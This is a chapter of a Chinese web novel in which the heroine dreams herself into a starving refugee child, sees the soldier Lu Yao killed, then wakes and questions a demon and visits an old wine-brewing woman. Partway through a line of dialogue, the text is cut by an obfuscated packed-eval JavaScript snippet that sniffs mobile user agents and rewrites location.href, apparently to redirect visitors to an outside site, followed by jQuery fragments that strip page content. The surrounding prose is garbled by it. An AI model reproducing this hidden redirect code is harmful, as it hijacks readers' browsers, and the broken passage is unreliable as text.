15. 杏子酒(十三)
作品:《攻略的反派ooc了》李乐绪再次醒来,却还发现自己在难民营里。 【系统你来梦中梦,是吧?】 【请宿主静待剧情补全。】 她窝在干草堆里,头发乱糟糟的像个鸡窝,伸出手一看,还有两只黑黢黢的小手。 这次的附身对象,是个八岁小女孩,瘦小又柔弱。 落杏镇已经被烧的干干净净,她已经四天没有吃过一颗粮食了,现下已经是饿的前胸贴后背了。 “施粥了,那边有人施粥!” 难民群里不知从何处冒出一句,随后大家都朝着一个方向蜂拥而去。 小女孩被挤来挤去,好不容易才抢到了一碗稀粥。 她端着碗往前走,小心翼翼地躲避着那些人,万一他们生出歹念,要抢她的粥怎么办。 米粥的香气扑鼻,直往人鼻子里钻,小孩的口水都快流下来了,肚子也开始复苏似的咕噜噜的叫起来。她一个着急横穿人群时,撞上了铜墙铁壁,粥撒了一地。 “哪里来的不长眼的东西!” 小孩跌坐在泥巴里,浑身脏兮兮的,眼神呆楞了一两秒,回过神来时,干脆趴在地上去舔那些散落的米粒。 “这大雍的小孩怎么和狗似的!哈哈哈哈!”周围的兵士嘲笑道。 小孩没听到似的,继续喝碗片上剩下的残粥。 “哎!说话呢听见没?贱狗不如的东西!”一脚踹到孩子的肚子上,她感到胃部痉挛般的痛,差点哇地全吐光了刚刚捡到的食物。 呕吐的污物溅上了兵士们的靴子。 那几人顿时恼了起来,将孩子抓起来挥起拳头便要下手。 “住手!” 突然一只大手阻止了他们,烈阳之下,那人高大的身影遮盖下一片阴影。 小孩抬起头,李乐绪也从视线里看到了他。 是陆曜。 他带走了小孩。 他给小孩拿了粥,给小孩涂了药。还把她带到一个都是小孩子的茅草屋。 那些都是战争里失去家人的孤儿,有大雍人也有南琼人。 他们见了陆曜,十分依赖,也对新来的她很友好。 小孩在这里住了下来。 小孩子们不常见到他,只是偶尔陆曜会带回来很多粮食,然后就走,等下一次吃的不够,他又会出现。 最后一次见他,是在城楼之上。 所有的人都说,那具挂了三天的无头尸是陆曜。 李乐绪跟在小孩身后,站在城墙之下,直视那具尸体,血迹已经干了,散发出腐臭味,脖子上的断口整整齐齐,血肉外翻。 身体僵硬多时,他的双手握拳,紧紧抓着什么。 吧唧一声,从上面掉落一块东西,小孩跑过去乘着没人看见,将东西拿起来。 摊开手心一看,竟是一块红布。 李乐绪看的眼熟,却想不起来在哪里见过。 此时一边的泥灰中,她又扑捉到一抹黑影,「驹隙」的尾巴快速闪过,之后便不见踪影。 …… “李姑娘?你还好吗?” 程缚之的声音从耳边响起,李乐绪如同弹簧一般,从床上弹起来。 “我睡了多久?” “两个时辰。” “「驹隙」呢?” “燕公子和司姑娘在审它。” 一问一答过于流畅,李乐绪几乎没有察觉到男人细微的情绪变化。 她下了床,立马就往外面跑。 “李姑娘,你现在应该多注意一下自己的伤势。妖怪那边,有燕公子和司姑娘照看。”程缚之拉住她的胳膊,对着她提醒道, “你该多休息。” 李乐绪耷拉着鞋子,停在门口。看着自己两个被包成馒头一样的手,尴尬地笑了几声。 “说起来还是要谢谢程公子又救了我。” 她老实地走到程缚之面前,拉了拉对方的衣袖,“我刚刚虽然在做梦,可脑子里把这整件事都理了一遍,可能会对燕大哥他们有帮助!” “程公子我们一起去帮帮忙吧?” 对面的人沉默半刻,还是答应了她的请求。 两人走到目的地时,发现司玉玲的金玲刚好悬空,里面的妖怪被千丝万缕的傀儡线绑着,口中咒骂些不堪入耳的词句。 程缚之抬手,指挥傀儡线将「驹隙」的嘴缠住了。 “阿绪姐姐!程哥哥!”司玉玲看到他们,热情地打了个招呼,燕塘也友善地点了点头。 李乐绪过去问他们进度如何,下一步该如何打算处理它。 燕塘沉声,“这妖来历蹊跷,给赵小姐下的咒也难解开。只能审它,让它说出解决之法。” 「驹隙」被傀儡线拎了出来,按在地上。 “你还记得这个吗?”李乐绪上前,从袖口拿出了那封信。 妖怪本来沉默不语,看见信件时又激动起来,试图挣开傀儡线。 “你知道为什么,这最后一封信还是送不出去吗?”李乐绪顿了一下,斟酌词句,“因为你根本就没有找到真正的收信人。” 「驹隙」偏过头,眼中全是不耐烦。它对李乐绪所说的半分不信。 “阿绪姐姐,你说的是?”司玉玲有几分不解。 李乐绪没有正面回答她的问题,而是转头继续问,“我想说的是,你要找的阿绣,并不是赵小姐。 凡人的寿命弹指一挥间,昔日的青葱少女现如今早就白发苍苍了。你却像是在时光里刻舟求剑一般,硬生生要到一个符合当初条件的人?” “或者说你作为妖,根本看不到人类会衰老的事实?” 燕塘听的一头雾水,却还是试探开口提醒,“「驹隙」这类妖的寿数比人族短,如同蜉蝣,故而极为少见。” 可恶,别拆我短。 李乐绪被燕塘的补充一下打断了。但是无论是寿命过长还是过短,这妖都有一点很特别,它似乎在无视时间。 “反正就是,你这信送到了便成了?” 「驹隙」依然没有理她。 “李姑娘的意思是,帮这妖完成心中所想,便一切皆可解?”程缚之开口总结。 “而它的执念便是,找出这真正的阿绣?” “对!就是这个意思!”李乐绪感激地看了他一眼。 “可,我们一直都没寻到……况且姐姐刚才也说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023561|161825||http|test|mini|href|location.split(|),0,{})); () { $(.inform).remove(); $(#content).append( 了,说不定阿绣奶奶早已经不在人世。”司玉玲叹气。 李乐绪想起梦中所见所闻,「阿绣」确实跳水落崖不知所踪,生死不明。 但她亲眼所见陆秋水确实死了,可上次和程缚之遇见的那位秋水婆婆……这是疑点一。 再加上陆曜死前,手中那块红布,她总是觉着眼熟这是疑点二。 李乐绪开口,“或许,我有个想法。” …… 在李乐绪的劝说下,几人又来到王家村。 “死马当活马医,再问问阿婆或许能有新发现呢!”李乐绪是这样说的, “即便是问出一个坟地来,把信烧过去也算是完成任务了,不是吗?”她继续编。 当他们再次见到阿婆时,她正在院子里酿酒。 老妇人坐在院子中的杏子树下,细致地检查酿酒的坛子,然后一坛一坛地分装好,每坛都盖上盖子再用布系好密封窖藏。 听见院外有人声,才拄着拐杖过来开门。 “阿婆好!我们又来了。” 李乐绪上前打了个招呼,顺便介绍了身后的几人。老妇人也慈眉善目,笑着将人迎了进来。 李乐绪一进门便被大大小小的酒坛子吸引了目光。 “这是今年新的,还不到时候喝呢,等会儿给你们拿些好的。” “谢谢阿婆,只是这酒坛上都要绑着红布条吗?” 李乐绪终于想起来,为什么她看红布条眼熟了,上次和程缚之在这里调查,她们开的那坛子酒也是揭开红布条后才开盖取酒。 阿婆笑了一下,点了点头,“习惯了。” 而燕塘和司玉玲两人打从刚开始见到老妇人时,便被她身后那只「怀怨」吸引了目光。两人对视一眼,还是跟着进了院落。 这老妇看上去确实有隐情。 “老人家,你可知「怀怨」此妖?”燕塘单刀直入,施了法决就将那只藏匿着的妖揪了出来。 妖物在他手上现形然后被关进金玲中,老妇人眼睛看不清,有些站立不稳只抓着李乐绪的衣诀,对着燕塘问道, “小仙师这是何意?这好好的,哪里有什么妖怪?” 可不到一会儿,李乐绪亲眼看见,那佝偻的背上又凝结出来一只「怀怨」,和她大眼瞪小眼。 李乐绪干脆打断他们的对话,“阿婆,我有个东西想让您瞧瞧。” 那信件,被撕碎,被妖化,被复原,唯一一个就是从来没有被打开过,连在山洞里守了几十年的「驹隙」都不知道其中内容。 那么换言之,有人可以打开它,便可证明这是真正的收信人。 “是这封信,阿婆帮我看看。” “姑娘怕是寻老婆子开心,让我这个瞎子帮你看信?” 李乐绪愣住了,确实没想到这点。可她又不能直接说阿婆说自己是陆秋水是假的,毕竟是梦境所见,谁会信她? 「驹隙」此刻被施了咒,在金玲里嘲笑她。 沉默许久的程缚之开口。 “这封信本来是送给阿绣小姐的,但她多年前便不见踪影,老夫人身为陆家小姐的贴身侍女,这封信转交给您保管,也无不可。”